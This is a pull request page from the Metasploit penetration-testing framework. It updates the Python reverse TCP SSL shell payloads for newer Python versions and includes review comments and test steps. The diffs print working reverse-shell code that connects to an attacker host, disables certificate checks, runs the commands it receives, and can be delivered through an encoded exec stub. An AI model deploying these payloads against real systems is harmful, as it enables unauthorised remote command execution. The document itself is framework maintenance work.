Fix ssl wrap socket python314#21302
Conversation
Updated SSL handling in reverse TCP shell payload to use SSLContext for compatibility with newer Python versions.
|
|
| cmd += "\ts.send(stdout_value)\n" | ||
|
|
||
| if datastore['PythonPath'].blank? | ||
| return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -" |
There was a problem hiding this comment.
Is there a reason to add this as a literal rather than using py_create_exec?
| \tso.sendall(o) | ||
| PYTHON | ||
|
|
||
| py_create_exec_stub(cmd) |
There was a problem hiding this comment.
Is this not necessary?
| # Use SSLContext.wrap_socket() instead, which is available from Python 2.7.9+ | ||
| # and 3.2+. We fall back through PROTOCOL_TLS_CLIENT (3.6+) -> PROTOCOL_TLS | ||
| # (3.2-3.9) -> PROTOCOL_SSLv23 (2.7.9+) to cover all supported versions. | ||
| cmd += "ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23)))\n" |
There was a problem hiding this comment.
Does this work on a subset of versions that the old way did? Are we losing support for versions 2.5?
There was a problem hiding this comment.
Pull request overview
Updates the Python reverse TCP SSL command payloads to avoid ssl.wrap_socket() (removed in Python 3.12+) by switching to SSLContext.wrap_socket() with protocol-constant fallbacks intended to preserve broad Python version compatibility.
Changes:
- Replace
ssl.wrap_socket()usage withSSLContext.wrap_socket()in both thecmd/unixandpythonreverse SSL payloads. - Add explicit
check_hostname=Falseandverify_mode=CERT_NONEto support Metasploit’s self-signed listener certificates. - Refactor some module metadata/formatting and adjust how the
cmd/unixpayload constructs its exec stub.
Impact Analysis:
- Blast radius: high; affects users generating/using
cmd/unix/reverse_python_sslandpython/shell_reverse_tcp_sslpayloads across many exploits/handlers. - Data and contract effects: payload output/encoding expectations change (notably for the python/ payload’s generated content); compatibility risk if payload embedding expects a one-line exec stub.
- Rollback and test focus: rollback is straightforward (revert to prior payload strings); validate
python/shell_reverse_tcp_sslgeneration/embedding and end-to-end handler connection on Python 2.7.9+, 3.4+, and 3.12+.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated 2 comments.
| File | Description |
|---|---|
| modules/payloads/singles/python/shell_reverse_tcp_ssl.rb | Switches SSL wrapping to SSLContext.wrap_socket() but currently alters payload output format. |
| modules/payloads/singles/cmd/unix/reverse_python_ssl.rb | Switches SSL wrapping to SSLContext.wrap_socket() and rewrites the shell-embedded Python exec stub generation. |
| <<~PYTHON | ||
| import socket as s | ||
| import subprocess as r | ||
| import ssl | ||
| so=s.socket(s.AF_INET,s.SOCK_STREAM) | ||
| so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']})) | ||
| so=ssl.wrap_socket(so) | ||
| ss=ssl.SSLContext(getattr(ssl,'PROTOCOL_TLS_CLIENT',getattr(ssl,'PROTOCOL_TLS',ssl.PROTOCOL_SSLv23))) | ||
| ss.check_hostname=False | ||
| ss.verify_mode=ssl.CERT_NONE | ||
| so=ss.wrap_socket(so) | ||
| while True: | ||
| d=so.recv(1024) | ||
| if len(d)==0: | ||
| break | ||
| p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) | ||
| o=p.stdout.read()+p.stderr.read() | ||
| so.sendall(o) | ||
| \td=so.recv(1024) | ||
| \tif len(d)==0: | ||
| \t\tbreak | ||
| \tp=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) | ||
| \to=p.stdout.read()+p.stderr.read() | ||
| \tso.sendall(o) | ||
| PYTHON |
| if datastore['PythonPath'].blank? | ||
| return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | $(which python || which python3 || which python2) -" | ||
| "echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \ | ||
| "__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \ | ||
| " | $(which python || which python3 || which python2) -" | ||
| else | ||
| return "echo #{Shellwords.escape(py_create_exec_stub(cmd))} | #{datastore['PythonPath']} -" | ||
| "echo exec(__import__('zlib').decompress(__import__('base64').b64decode(" \ | ||
| "__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))}')[0])))" \ | ||
| " | #{datastore['PythonPath']} -" |
Fixes #21301
ssl.wrap_socket()was removed in Python 3.12 (deprecated since 3.7), causing anAttributeErroron Python 3.12+ including 3.14.Replaces it with
SSLContext.wrap_socket()using a getattr fallback chain thatworks across Python 2.7.9 through 3.14+ without deprecation warnings.
Files changed
modules/payloads/singles/cmd/unix/reverse_python_ssl.rbmodules/payloads/singles/python/shell_reverse_tcp_ssl.rbVerification
msfconsoleuse exploit/multi/handlerset payload cmd/unix/reverse_python_sslset LHOST <your IP>set LPORT 4444runpayload python/shell_reverse_tcp_ssl